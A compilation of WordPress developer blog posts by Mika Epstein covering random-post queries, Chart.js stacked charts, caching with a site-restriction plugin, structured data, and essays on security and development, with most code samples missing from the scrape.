**Tags:** data, stats, wordpress
---
### [Customizing Which Random Post](https://halfelf.org/2018/customizing-random-post/)
**Published:** February 15, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** A little customized randomness to make it more sane.
**Content:**
Back in December, I posted about how I generated a [random post of the day](https://halfelf.org/2017/random-post-day/).
After running it for 60 days, I realized I needed to exclude three things:
1. Posts with a specific ‘placeholder’ image
2. Posts with content ‘TBD’
3. Posts with one of two specific meta values
So today we will talk about how awesome WP\_Query is.
## The Basic Query
As a reminder, your basic query for a random post is this:
Now, let’s extend it!
## Posts With An Image
In this example, I have a very specific default image I use – the mystery person – to indicate the post doesn’t have it’s own image yet. I went and found the image in my media library and took note of the value – 949. Then I added a meta query which said “If the `_thumbnail_id` does *not* equal 949.”
Seriously. It’s magic.
## Posts Without ‘TBD’
We also have a standard convention for when we have a pending data post, but we need it for statistical reasons. Since, as of WP 4.4, you can use negatives in searches, just add this to the basic query:
This could be useful for your stores, if you wanted to list a product of the day but perhaps not ones with “Coming Soon” in the description. Of course, you should also have some meta flag but you get the idea.
## Posts With One of Two Values
Okay. Here’s fun. Let’s say you have a post meta field called `example_site_group` and there are six choices in it but you only want one and two. Well, for that you need to use an array and a LIKE:
This is a little messier, but it certainly does work. Even with serialized data.
## Put It All Together
Here’s the real code:
And voila.
**Categories:** How To
**Tags:** query, random, wordpress
---
### [Stacked Charts Part 3: The Javascript](https://halfelf.org/2018/stacked-charts-part-3-javascript/)
**Published:** February 13, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Finally there's the outputting of the javascript.
**Content:**
Finally!
We have our data in a properly consumable array. It’s formatted the way we need. Now we just need to script the java.
Take a deep breath.
## What We Want
What we want is simple. A stacked bar chart that shows the values of *all* possible permutations. It looks like this:
A stacked chartThat shows how many characters there are per gender orientation, and stacks it for a total count (which is why we needed that count you see).
## Send In The Clowns
Since I’m already using Chart.js, I just need to have a function to output the javascript. But. Since I *also* have to loop through the arrays to get the collective data, I need a bit of PHP:
## The Color
You may have noticed a strange variable:
Which was then called in the javascript here:
I have this in a javascript file that is loaded on that page:
The reason it’s ‘undefined’ is that things got weird when I had a variable with a name of undefined.
**Categories:** How To
**Tags:** chart, javascript, taxonomies, wordpress
---
### [Stacked Charts Part 2: Rebuilding the Array](https://halfelf.org/2018/stacked-charts-part-2-rebuilding-array/)
**Published:** February 8, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Stage two is taking all the data, shoving it back together, and splitting it out in a totally different way.
**Content:**
I’ve talked about this before [in category statistics](https://halfelf.org/2016/chart-js-category-statistics/), but in order to get the data from a simple array into a Chart.js consumable one, we have to rebuild the array.
## All Arrays are not Equal
In order to save the data in a way I could use and reuse, I had to aim at the lowest common denominator. But also I had to save the arrays at a *per show* basis, which is not the same as what I was going to need to output.
Instead of just outputting the averages for the show, I needed to combine all this into a ‘by nation’ statistic. That is, I needed to get a list of all shows that were associated with a taxonomy value for that country (easy) and combine all their arrays (not quite easy) and order the data in a way that would make sense (not easy).
So again we start with understanding the array. Here’s a show that happens to air in Argentina:
This is the data for one show. Argentina has 2, oddly both with the same stats breakdown by gender identity. What I need to do is loop through both those shows and add the arrays to be this:
## Get the Base Arrays
Just like before, we make an array of the base data as we have it in the gender, sexuality, and romantic orientations. In this case, we’re adding in a query to change the order to be largest to smallest overall from the taxonomy. While this may not be true for all nations in the future, it is today:
I need to pause here. Everything from here out goes in that foreach. We’re going to be looping for each nation in the list of nations. Now… I re-use this code for multiple taxonomies, so `lez_nations` is actually `lez_' . $data` and it dynamically changes based on how I call this function.
On we go!
Now that we have those base arrays, again set to zero,
By the way, `$subdata` and `$data` are parameters sent to the function that runs this. `$subdata` is for the taxonomy we’re calculating (sexuality etc) and `$data` is for the overall taxonomy (Nations or perhaps Stations or genres – we use a lot of those).
This gets us started.
## Queery the Posts
Next we need a `WP_Query` of all the posts in the taxonomy.
Remember, this is still within that foreach above. And once we have the posts, let’s query all the shows:
The weird section you see, `// Add the character counts` is there because *every* character has a gender, but not everyone has a sexuality or romantic orientation. Because of that, I decided it was safest to use that as my baseline count.
The second section that checks `if ( !empty( $dataset ) ) {...}` is what adds things up for the array.
Speaking of…
## Output the New Array
Once I have those counts, I generate different arrays depending on what I’m outputting. The basic barchart is different from a percentage, which is different from the stacked bar.
And all of this is so I could get that silly stacked bar, which will have the count of total characters, shows, and the data.
Whew.
**Categories:** How To
**Tags:** charts, coding, taxonomies, wordpress
---
### [Stacked Charts Part 1: Understanding Your Data](https://halfelf.org/2018/stacked-charts-part-1-understanding-data/)
**Published:** February 6, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Chart.js, WordPress, and taxonomies begins with understanding the data you're processing and saving it in a retrievable way.
**Content:**
There are a few different type of charts. Actually there are a lot. I find a nice bar chart fairly easy to read and understand. So when Tracy said we should generate some nice stats about nations, like how many shows there were per nation, I was able to do that pretty easily:
An excerpt of shows by nationAnd as far as that goes, it’s pretty cool. It’s really just the same code I use to [generate category statistics](https://halfelf.org/2016/chart-js-category-statistics/) already. This is, by the way, why using WordPress to generate your data is useful. It’s easy to replicate code you’ve already got.
But then Tracy, who I think derives some perverse joy out of doing this to me, says “Can we find out how many trans characters there are per nation?”
## Use WordPress First
If you heard my talks about Sara Lance, you’ve heard me tout that data based sites should always [use WordPress functions first](https://halfelf.org/2017/data-based-sites/). By which I mean they should use taxonomies and custom post types when possible, because accessing the data will be consistent, regular, and repeatable.
Ironically, it’s *because* I chose to use WordPress than I was in a bit of a bind.
You see, we have three post types on the site right now: shows, characters, and actors. The shows have the taxonomy of ‘nation’ so getting that simple data was straightforward. The characters store the taxonomies of gender identity and sexual preference. That sounds pretty logical, right?
So how, you may wonder, do we get a list of characters on a show? A query. Basically we search `wp_post_meta` for all characters with the array of `lezchars_show_group` and, within that multidimensional, have a show of the post ID of the show saved. Which means the characters are *dynamically* generated every single time a page is loaded. And yes, that is why I use *The L Word* as my benchmark for page speed.
However by doing all this dynamically, generating the stats for characters per nation would look like this:
1. Use `get_terms` to get a list of all shows in a nation to …
2. Loop through all those shows and …
3. Loop through all the characters on each show to extract the data to …
4. Store the data per nation
Ouch. Talk about slow.
## Solution? Use WordPress!
Thankfully there was a workaround. One of the other odd things we do with shows is generate a show ‘score’ – a value calculated by the shows relative awesomeness, our subjective enjoyment of it, and the number of characters, alive or dead, it has.
In order to make that generation run faster, every time a show or character is saved, I trigger the following `post_meta` values to be saved:
- `lezshows_characters` – An array of character counts alive and dead
- `lezshows_the_score` – The insane math of the score
So I added three more:
- `lezshows_sexuality`
- `lezshows_gender`
- `lezshows_romantic`
All of those are generated when the post is saved, as it loops through all the characters and extracts data.
## Generate The Base
In order to get the basics, we start by generating an array of everything we’re going to care about. I do this by listing all the taxonomies I want to use and then loop through them, adding each slug to a new array with a value of 0:
That gives me a multidimensional array which, I admit, is pretty epic and huge. But it lets move on to step two, of getting all the characters:
Next I stop everything as a new array. Which is where we get into some serious fun. See, I have to actually *double check* the character is in the show, since the ‘like’ search has a few quirks when you’re searching arrays. The tl;dr explanation here is that if I look for shows with a post ID of “23” then I get “23” and “123” and “223” and so on.
Yeah. It’s about as fun as you’d think. If I wasn’t doing arrays, this would be easier, but I have Sara Lance to worry about.
You’ll notice there’s a quick `$tax_data[ $title ][ $term->slug ]++;` in there to increment the count. That’s the magic that gets processed all over. It tells me things like “this show has 7 cisgender characters” which is the first half of everything I wanted.
Because in the end I save this as an array for the show:
## How Well Does This Run?
It’s okay. It’s not super awesome, since it has to loop so many times, this can get pretty chunky. See *The L Word* and it’s 60+ characters. However. It only updates when the show is saved, or a character is added to the show, which means the expensive process is limited. And by saving this data in an easily retrievable format, I’m able to do the next phase. Generate the stats.
**Categories:** How To
**Tags:** charts, development, taxonomies, wordpress
---
### [Restrict Site Access Filters](https://halfelf.org/2018/restrict-site-access-filters/)
**Published:** January 25, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Handling restricted access and caching together, without going crazy.
**Content:**
I have a demo site I use to for development. One of the things I want is to be able to lock the site to logged in users only and that I can do via [Restricted Site Access](https://wordpress.org/plugins/restricted-site-access/) by 10up.
One of the things the plugin also allows is to open up access to an IP, so someone who doesn't have an account can check the site before you go live. The problem with this feature is caching.
## Caching Restricted Pages
It doesn't really matter what kind of caching system you use, the point is all the same. People who aren't logged in should get a cached version of the content. People who are logged in, or whom you've determined need a unique experience, don't get cached content. That's the barebones of caching.
The problem I ran into with restricted site access is that if I whitelisted an IP range, and someone from that range visited the site, they generated a page which my cache system … cached. That meant the next person got to see the cached content.
Now this may not actually be a problem in all cache systems, but I happened to be using Varnish, which is fairly straightforward about how it works. And, sadly, the plugin I'm using doesn't have a way around this. Yet.
## Filters and Hooks
Like any enterprising plugin hoyden, I popped open the code and determined I needed to address the issue here:
```
// check if the masked versions match
if ( ( inet_pton( $ip ) & $mask ) == ( $remote_ip & $mask ) ) {
return;
}
```
This section of code is checking "If the IP matches the IP we have on our list, stop processing the block. It's okay to show them the content." What I needed was to add something just above the return to tell it "And if it's Varnish, don't cache!"
At first my idea was to just toss a `session_start()` in there, which *does* work. For me. Adam Silverstein was leery of that having unintended consequences for others, and wouldn't it be better to make it hookable? After all, then *any* caching plugin could hook in! He was right, so I changed my pull request to this:
```
do_action( 'restrict_site_access_ip_match', $remote_ip, $ip, $mask ); // allow users to hook ip match
```
The next version of the release [will have that code](https://github.com/10up/restricted-site-access/blob/develop/restricted_site_access.php#L249-L253).
## In The Field
Now, assuming you've slipped that code into your plugin, how do you actually *use* it?
Since I need to have this only on my 'dev' site, and I'm incredibly lazy efficient, I decided to put this code into the MU plugins I use for the site:
```
if ( DB_HOST == 'mysql.mydevsite.dream.press' ) {
add_action( 'restrict_site_access_ip_match', 'mydevsite_restrict_site_access_ip_match' );
}
function mydevsite_restrict_site_access_ip_match() {
session_start();
}
```
This is not the only way to do it. I also happen to have a define of `define( 'MYSITE_DEV', true );` in my `wp-config.php` file, so I could have checked if that was true:
```
if ( defined( 'MYSITE_DEV' ) && MYSITE_DEV ) { ... }
```
Now, you'll notice I'm using sessions, even after Adam and I determined this could be bad for some people. It can. And in my case, in this specific situation, it's not dangerous. It's a quick and dirty way to tell Varnish not to cache (because PHP sessions indicate a unique experience is needed).
The downside is that not caching means there's more load on my server for the non-logged in user who is legit supposed to be visiting the site. Since this is a development site, I'm okay with that. I would never run this in production on a live site.
**Categories:** How To
**Tags:** filters, plugins, wordpress
---
### [Structured Data](https://halfelf.org/2018/structured-data/)
**Published:** February 1, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Sometimes structured data exists to vex me.
**Content:**
Every month around the 15th and 30th, I check Google Webmaster to see if there are any 'errors' I need to address. Most of the time this is 404s on pages that were wrong for 30 minutes, and Google decided to crawl me right then. In January, I got a bunch of new alerts about 'structured data.'
## What is it?
Google uses *structured data* that it finds on the web to understand the content of the page, as well as to gather information about the web and the world in general. Which is a fancy way of saying Google looks for specific classes and attributes in your page to determine what's what.
Most of the time, your theme handles this for you. It's why you see `hentry` and `authorcard` in your page source. This is part of telling Google what the content is, contextually.
## Bad Errors
Sadly, Google's report just said I had "missing fn" errors and gave me this:
itemtype: http://microformats.org/profile/hcard photo: https://secure.gravatar.com/avatar/CODE?s=118&d=retro&r=g That's not very helpful unless you already know what you're looking for. And even then… There was a link to [test live data](https://search.google.com/structured-data/testing-tool) and I clicked on it, only to get a report back that I had *no* errors. Frustrating, right?
Then I checked a different error:
Missing: author
Missing: entry-title
Missing: updated
That was a little better, I thought, and I found out that since we'd removed author and updated from those posts, for a valid reason mind you, that was showing an error. The 'easy' fix was to make this function:
```
function microformats_fix( $post_id ) {
$valid_types = array( 'post_type_authors', 'post_type_characters', 'post_type_shows' );
if ( in_array( get_post_type( $post_id ), $valid_types ) ) {
echo '
' . get_the_title( $post_id ) . '
' . get_the_modified_time( 'F jS, Y', $post_id ) . '
' . get_option( 'blogname' ) . '
';
}
}
```
And then I just tossed it into my post content.
## Does This Matter?
Kind of. It doesn't appear to actively *hurt* your SEO but it can *help* a little. In my case, I'm not actually using 'Author' so it's an inconvenience. And I don't want to make public when a page was last updated, since it's meant to be static content, but also it gets 'saved' a lot more than it gets updated, due to how I process some data. Basically it would lie to users.
But. Apparently I get to lie to Google.
Yaaay.
**Categories:** How To
**Tags:** code, seo, wordpress
---
### [Customizing Jetpack Feedback](https://halfelf.org/2018/customizing-jetpack-feedback/)
**Published:** January 30, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Messing with Jetpack's feedback forms for fun and management.
**Content:**
Fair bit of warning, this is a **big** code heavy post. I use Jetpack to handle a variety of things on my sites. Contact forms, stats, embeds, monitoring, backups, a bit of security (brute force prevention), and in some cases Photon and galleries. Oh and I *especially* use it for the tweeting and facebookieing of posts. Love it or hate it, it has it's uses and as a user, I find it easier to work with than its alternatives. However! Jetpack is not perfect. And my current drama llama was that I wanted to do two things:
1. Show on my dashboard how many messages I had
2. Mark a feedback message as 'answered' without deleting
The second item was very important as on a shared-management type site, it's hard to know who did what and did everyone handle an email or what have you? Really a better tool would be something that you could reply to from within the admin dashboard, versus emailing all over, but that's another day. Instead, I decided to tackle a custom post status. ## This is NOT Fully Supported
This is my caveat. My big warning. WordPress doesn't yet fully support Custom Post Status. That is, yes you can totally register them, but there's no easy way to put in the interface, as [the trac ticket has been around since 2010](https://core.trac.wordpress.org/ticket/12706) (you read that right) and it's still not done. All that said, if you're willing to wrangle a bit of Javascript and sanitize your outputs properly, you can do this. ## Big Block of Code
What this does is create a new status for your feedback of “Answered”. Ta Dah!
**Categories:** How To
**Tags:** jetpack, plugins, wordpress
---
### [Accidental Example](https://halfelf.org/2018/accidental-example/)
**Published:** January 23, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** When not thinking about your example data gets you into hot water for someone else.
**Content:**
My father was having email woes, so I undertook the monumental task of sorting out his hellish setup. Among other hurdles, he still uses (and in fact prefers) POP email.
Don't judge him.
However it was in reviewing the POP mail that I found a problem. He had over 145 emails, and of them only 33 or so were legitimate emails. Of the other 112, about 20 were 'mailing lists' (like Safeway and Egencia and crap we do actually use), 5 or so were porn, and then 87 were from a deployment service.
## Not His Monkey House
I double checked that my father didn't use the service and then I looked at the email. They were all emails for an account payable system that he absolutely didn't use.
That's not at all Dad's job, so I agreed they were likely junk but how did they get there?
## A Real Company
The first thing I did was check that this was a legit company. Interesting. I then did the logical step and requested a password reset for his email. It emailed me a link, which I clicked and yes, it let me reset the password… Except it didn't.
I got an error saying that the 'username' was already in use.
Which made no sense. I was on the *password reset* form. Not a create user form. So I tried a few different ways, and then tried to file a bug report or ask for help with is email and it all error'd out. It did not like his email.
## To Twitters!
I then complained on Twitter, which netted me the very helpful Isabelle who DM'd me and knew right away what was happening.
> The hundreds of emails were actually just a mix-up because one of our product specialists had a demonstration company with a database with tons of 'demonstration users' with personalities and characters names and your dad's email got in by accident (due to its homonym toy story character).
>
> Isabelle
Dad's domain is `woody.com` you see.
Suddenly it all made sense.
## Why We Use Example.com
They went ahead and removed his email from all their pipelines and deleted the fake account they'd made for the domain (which explains why I couldn't do a reset). And I haven't seen an email come in after that.
It was a rude awaking for this poor company. We don't use *real* domains in our examples for a damn good reason: people copy/pasta.
No one thought to check if the domain existed, and it's pure coincidence that they picked his email for the demos and examples. And yet it's a good reminder for you too. Those example domains you pick will probably be used by someone in production. Don't spam them.
But a bigger concern is this. How much *private* data got sent to my father over the course of the weeks this was the case? How much information did he have access to that he shouldn't? You're all very lucky he's not malicious.
**Categories:** How It Is
**Tags:** debug, example, sample
---
### [Thimking About Security](https://halfelf.org/2018/thimking-about-security/)
**Published:** January 16, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** No, that's not a typo. I want you to THIMK
**Content:**
It's been a while since I last talked about security and WordPress plugins, so I thought it was a good time to do it again.
I *still* don't use any. But we'll get to that in a minute.
## Don't Be 'Stupid'
> My mother is one of the few people I know who has almost completely conquered the will to be stupid.
>
> Miles Vorkosigan on his mother, Cordelia Naismith Vorkosigan
> *Brothers in Arms* by Lois McMaster Bujold
Understanding what makes something secure or insecure is not as obvious as I wish it was. I often say that the trick to being secure is [not being stupid](https://halfelf.org/2014/the-mindset-of-security/). Of course that's easier said than done, and I know it.
Still, my record holds true that the one time I was hacked, it was from my own stupidity. I knew it was wrong and foolish and I did it anyway. And my guiding principal of security remains a constant reminder "Don't be stupid."
But what is stupid? Every time you leave your house, you lock your doors, right? You do the idiot walk, as my grandmother Taffy called it. Keys, wallet, phone? Is the gas off? Is the heat on? Are the windows closed? You check the normal things and then you lock the door and off you go.
Of course, we all have been an hour into an 8 hour drive and panicked "Did I close the garage!?" And for some people, even the simple act of locking the door is an arduous journey of 10 or 30 or 55 checks. In order to say 'don't be stupid' we have take ourselves honestly and seriously, and remember that 'stupid' just means 'don't *not* think.'
## THIMK
That was not a typo. Nor was the title of this post.
While we all make fun of IBM and MAD Magazine, I recall reading "Welcome to the Monkey House" by Kurt Vonnegut, and Ma Kennedy had the sign over her desk. At the time, I was unaware of the MAD magazine spoof on the matter. THINK was a sign folks at IBM had, and THIMK was the spoof.
When I read it in Vonnegut, and bear in mind I was young and naive, I found it far more compelling than the idea of telling someone to THINK. With the letter changed, it forced me to reassess my assumptions of what the meaning was. After all, telling someone to THINK means, well, think. But telling someone to THIMK is a different matter.
## Eating the Elephant
You know that old joke? How do you eat an elephant? One bite at a time. Well. That's security.
I've been a loud opponent of the TSA, the way it's implemented in the US currently. It makes us feel better by making us think (N) that something is being done. And, yes, the TSA has found problems. But their job is to look through a thousand small things and find the odd-one-out. They're looking for the weird.
When we perform a security audit over anything, be it a plugin or a server, or a door, we look for what we know is likely wrong. When I review a plugin, I look for the common issues. I skim for them, or grep for them, because I know what I'm looking for, and my eyes are trained to find it.
But then, once I see the major and common issues aren't there, I read the whole thing. I look at the plugin as a whole entity, and I think. What does the code *mean*? What is it's *intent*?
## Metaphysical Security
Without the ability to spy into the soul of the developer and glean an understanding of their raisons d'être, we're left with monitoring actions and making best guesses. And we're going to be wrong from time to time.
It's no secret that last year, the WordPress security world found a new villain in the despicable people who buy plugins and slip backdoors into them. I saw some complaints that this sort of vulnerability wouldn't exist in \[insert your CMS here\], except … it will. It can and it will.
We are *all* vulnerable because we choose to trust. We trust the developer to have good intentions. We trust the reviewers to be good people and care more about the security and sanity of code than themselves (which is a whole different ball of fish). We trust the ongoing development not to be handed over to evil people.
That last one is unavoidable. People trust me to review code and react in the 'best' way for the community. But what if someone found my asking price and bribed me? What if I *let* bad code like backdoors into the WordPress Plugin directory? It would probably get caught, eventually, but still. Even if we locked down plugins to specific users accounts and didn't let anyone but admins (like me and Otto) add users, we would *still* at the end of the day remain vulnerable to humanity.
## Security Is Ongoing
The truth is this.
We are always, every day, insecure and vulnerable.
Having a website that is your 'life' or career or business or even just a passion-project is dangerous.
You should treat your website with as much thought and security as you do your own home. Check the gas. Check the lights. Make sure the door is locked. Get a security system. Hire someone to review the site and the server. But take it *seriously*.
Your website is 'you' on the Internet. And it deserves as much care as locking your car and not parking it in a shady part of time.
## Summary?
Pay attention to what you put on your website.
Trust no one. Not even me.
**Categories:** How It Is
**Tags:** essay, oped, security
---
### [Still Not Using Plugins for Security](https://halfelf.org/2018/still-not-using-plugins-for-security/)
**Published:** January 18, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** It's not that I don't like them, it's that I don't like them.
**Content:**
Seven years, and my answer to 'do I need a security plugin' is the same.
Nope.
## What is a Security Plugin?
A security plugin is *not* a plugin like 'brute force protect' or 'limit login attempts.'
A security plugin is like Better WP Security or WordFence or a hundred other plugins that promise to scan your site and let you know what's changed.
This is not to say that first set of plugins aren't there to make you 'safer,' it's that those are single use, targeted plugins that address a single issue. Limiting login attempts prevents someone from trying the same attack over and over and over until they get in.
By contrast, all-in-one security plugins try to do everything. They scan your code, your data, and your site. They look for all the possible attack vectors and they try to plugin them.
## What Makes That Secure?
That's the question I ask people. If a plugin adds in 2-factor authentication, I ask them what it does for them? Password expirations, captchas, file compares etc. Those are all good things, individually, but are they applicable for all people? What, specifically, about those things makes you more secure or not?
Now. Before you get all shirty with me, I am well aware of what all of those things are good for. With the exception of captchas (which are not accessibility friendly, please stop using them), all of those things make a lot of sense. You expire passwords and, one hopes, require *strong* passwords to make it harder to break in. But if you have a 2FA setup, do you *need* to require rotating passwords?
## It's All About Thinking
Security plugins stop people from thinking about what's going on.
I've seen it time and again, people install a plugin that 'makes them safe,' follow the bare minimum of requirements, and then install whatever they want without thinking about it, leave registrations open, and oops, get hacked.
This is not to say that security plugins don't prevent some of that from happening, but they're often an 'after the fact' solution. That is, usually a security plugin doesn't know to block X until X has been exploited. That's kind of the nature of the beast, though, and why WordPress and many other CMS developers don't release full details on security fixes until they've been out there for a while. They want to give people a chance to upgrade before saying "Hey, y'all who didn't are *super* vulnerable."
## It's Also About Speed
Security plugins also have a tendency to make your site slower. This usually comes up when people have turned on *everything* that comes with a security plugin. Which goes right back to my point about thinking. The user doesn't think, because they're not yet educated, about the impact of the code on their site.
To put it simply, the more things you ask WordPress to do before it can load a page, the slower it will be to load a page.
Pretty cut and dried, right?
## What's My Answer?
I don't call this the 'right' answer or even the best one. Not everyone has access to my resources after all, so it's not fair to say "Hire Mika to think for you!" But to me, the best answer is to use the resources you have intelligently.
**Firewalls**, from a server side, are all but a requirement to me. If your web host doesn't have one, and most at least have ModSecurity, get a new web host. If you disabled it on your site because a random plugin doesn't work with it, delete the plugin and turn it back on. If you can't move to a new host, look into firewalls like Incapsula or Sucuri. Put *something* between users and data.
**Site Scanning** is a great tool, but don't run it *on* WordPress. A great example of smart security scanning is VaultPress. It's a remote service that has a copy of all your files and it scans the copy, not your site, for issues. There are other services you can use that scan your site without affecting traffic. Again, web hosts often have tools for this.
**Be Aware** of what's going on. Don't just let security be a black box. Make sure you know what kinds of attacks are common on your site. If you're hit by a DDoS, for example, where they're just hammering your site to take it down, a 2FA plugin will not help. If they're trying to log in all the time, a scanner is probably not what you need.
**Lock It Down**. If you don't need it, don't use it. If you don't need it *on*, turn it off. Update regularly. Don't install everything under the sun.
## Don't Buy Into FUD
This is a tricky balance. On the one hand, I want to say 'don't panic if your favourite security plugin of choice tells you everything doomed!' Remember, they're trying to sell you things. But on the other … don't think everything's fine and dandy.
It's not a simple solution. You have to simultaneously be aware of problems and not overwhelmed by them. You have to learn how to care about which ones are important to you and which are not.
In a word, you have to think.
And there is no plugin on the planet that can think for you.
**Categories:** How It Is
**Tags:** essay, security, wordpress
---
### [Mindful Development and Misunderstandings](https://halfelf.org/2018/mindful-development-misunderstandings/)
**Published:** January 4, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Being classified as hate speech when you’re the opposite gives a person some perspective.
**Content:**
I consider myself a mindful developer. I strongly feel that morals and ethics and intent are important. In order to continue making the world better, we have to think about the worst thing our code might be used for and prepare for that. This means I spend a lot of time thinking about usage and intent.
However, like anyone else, I have my blind spots. And it’s amusing to me that I stumbled right over one when it came to an automated submission check.
## Automation
I made an Amazon Echo skill that tells you when the last queer female died on TV. In November, we noticed it had three negative reviews, all of which misunderstood the purpose of the application. They all thought we were pro-death. Now to me this meant the description of the skill and the output needed to be modified.
No big deal, right? I’ll just go in and make an edit and I’ll be done.
Wrong.
> Your skill contains content that violates our content guidelines. You can find our content guidelines here.
>
> Specifically, any promotion or praise of hate speech, inciting racial or gender hatred, or promotion of groups or organizations which support such beliefs, such as the Ku Klux Klan are not appropriate for the Alexa Skills catalog.
My change was rejected because it was hate speech.
No matter how I wrote the description, or phrased the commands, it was getting flagged as hate speech automatically. That’s right, automatically. There was no human to contact, in fact the email said I had to fill in a contact form and maybe I’d get an answer.
Instead I went to my cohort in computing, who said she was certain it was the phrase “bury your queers.”
## Documentation
I’ve had a lot of code reviews in my life. I’ve done a lot. There really two aspects of a review that help you survive it:
1. A robust, if generic, explanation, with specifics outlined.
2. Clear documentation to help resolve the specifics.
Amazon doesn’t give either of those.
There are no specifics that said, outright, “The problem is your content looks like your promoting the death of a specific type of people.” No matter how I tried to rewrite it, was rejected.
Finally I realized I was going to have to write it all over again, from the ground up, and explain it all better.
## People over Process
I get grief from plugin developers for being reluctant to specify what is bad and what is good. This probably stems from my upbringing, where I was taught about right and wrong as relative concepts. Is it alright to kill? No. But if the choice is killing a child or yourself, because your car brakes went out, you have to be able to weigh the situation at hand.
Computers can’t do this. There is no artificial intelligence that can weigh the soul of a person and know if they’re going to do evil. If there was, the face of air travel and politics would be wildly different.
And the point I make here is that we cannot simply say “this description hits all our buzz words and triggers for badness, therefor it is clearly a bad thing.” It’s just not the case. In restricting us from being able to speak about such horrible things, we give them room to grow in the darkness.
But that is neither here nor there.
## A More Positive Message
As Tracy put it, it was a damn good lesson in perspective.
She didn’t say damn.
While the “bury your gays” trope is well known to me, it is not universal. And while I feel queer is a perfectly acceptable term that has been in use for a very long time, others do not. People inside and outside our community are often unaware that one of the first pro-gay posters said “queer power” and not “gay power.” It’s just one of those things.
So the right path is to go forward in a positive way. I’ve rewritten the code to give you more details than just who died. It will now tell you what was posted, how many characters were added, who’s on the air and who’s not.
And yes, who died. Because that matters too.
**Categories:** How It Is
**Tags:** amazon, echo, oped
---
### [The Purpose of a Case Study](https://halfelf.org/2018/purpose-case-study/)
**Published:** January 11, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Making a case study begins with nothing. And that is the hardest start of all.
**Content:**
Back in early December I gave a talk at WordCamp US about a website I built with Tracy. The talk was titled “Lesbians, Damn Lesbians, and Statistics.” You can watch it here:
Of all the talks I’ve given, I feel it was the least WordPressy of them all. That is, while I did talk about WordPress and why we made choices that we did, and how they relate to the data design, it wasn’t very code heavy. It was, instead, a case study in how and why and what.
## What
A case study talk is complicated because you have to address what the topic is beyond WordPress. When you start with WordPress, and you’re at a WordPress convention, you don’t have to lay the groundwork. You can jump in and talk about custom post types and taxonomies. At a WordCamp, everyone knows about WordPress, or at least enough to skip over the basics.
On the other hand, your case study starts by explaining what the reason was that you built the site in the first place. What’s the purpose of the site and what’s the relation to WordPress. You start with the narrative of “This is my story.” And you have to do it fast because next is the why!
## Why
Once you have explained what the site is about, you have to explain why WordPress. When you’re doing a normal talk about WordPress things, you skip right over this. Everyone knows *why* WordPress. Because WordPress! But many times we ask ourselves “Is WordPress the *best* tool for this job?” We ask “Is it the *right* tool?” So in a case study, you have to build up your case and explain why.
This is hard, because you already jumped through those hoops to explain to yourself (and any business partners you’re working with) the rationale. Distilling all of that into a third of your talk, which means maybe ten minutes, is not easy. You summarize, you skip over things, and you still have to hit the main points or people won’t be able to make the connections for the next section.
## How
Finally you have to explain *how* you did this. If people don’t understand what you did and why, the how becomes meaningless. This is because the brunt of your talk takes place here. This is the real WordPressy stuff, where you talk about how the what and why came together to be this thing. If people can understand the enormity of the data, they can conceptualize your logic.
If you’ve built everything up before, people will understand “Oh, she couldn’t make death a taxonomy because the overlap would cause problems and become unwieldy.” They’ll follow you when you explain about faceting searches and moving data.
## Because
The purpose of all this is to draw people in with a cohesive story that puts the code and the concept together. People remember songs because of the rhythm and pattern. They will remember your case study because of the story. We remember stories.
The purpose of your case study is to tell a good story that people remember and that connects them to your topic and your code.
**Categories:** How To
**Tags:** essay, speaking, wordpress
---
### [A Difference of Tone](https://halfelf.org/2018/a-difference-of-tone/)
**Published:** January 9, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Rethink the way you ask questions, and you'll find yourself open to learning even more.
**Content:**
The other day I lamented on Twitter that one day someone would ask me “Why did you use X?” and not “Why DIDN’T you use Y?” in a tech talk.
## Think Different
When you go into a talk, thinking you know everything about it and what it means, you close your mind. You start by ignoring the possibility that other people can have amazing thoughts and ideas too. You limit yourself. Your preconceived notions color how you think because you limit your experiences to that which you have personally.
This is much the same as why a number of people seem to lack empathy until they’re personally impacted. That’s why you hear men say things like “I didn’t become a feminist until I had a daughter.” A number of people nod and understand his meaning is that it wasn’t personal. But a number of people also wonder what the hell is wrong with someone not to care about humans in general. Doesn’t that man have a mother? A grandmother?
Once you allow yourself to accept the simple idea that someone else thinks a different way from you, you open your mind to a new world.
## Hear Different
There’s a difference between listening and hearing. We all listen. But once you start thinking about what your reply will be, and not listening to what’s behind what the other person said, you limit yourself. I see a lot of people sit in talks and you can tell when they tune out because they’ve decided “I want to know X.” and that will be their question. Instead of writing it down to ask, they block out everything. They concentrate on their reply.
Notice how I said ‘reply’ and not ‘question’?
Yeah. There’s a reason.
## Ask Different
When you go up to ask someone a question based on their talk, you’re not playing *Jeopardy*. The game isn’t “Phrase my answer like it was a question.” The point is to to ask something to understand a little better how someone else reached a conclusion. It’s the fundamental difference between “Why didn’t you use the Post 2 Posts plugin?” and “What did you use to connect the posts to each other and why?” The first one makes your preference known. It makes an assumption that obviously everyone would use Posts 2 Posts. The second one asks to get into the mind of the speaker, to learn the way another mind works. It assumes the other person is different from you.
When you ask what someone used, and why, you get an insight into their process, which may help you reflect on your own. You may find new answers, and all you have to do is remove your own ego from the question.
## Learn Different
The point of this is not to make a speaker’s life easier, but to make yours better. If you change just two small things in how you ask questions, you’ll find you can learn a whole lot more.
1. Write down the question you want to ask
2. Ask it without assuming you know the best answer
You may be surprised how the tone of the ask changes everything.
**Categories:** How It Is
**Tags:** essay, oped
---
### [Data Structure](https://halfelf.org/2017/data-structure/)
**Published:** December 28, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Determining the design of data.
**Content:**
At WordCamp US, Tracy turned to me and said “I want to do something about the actors on our site.”
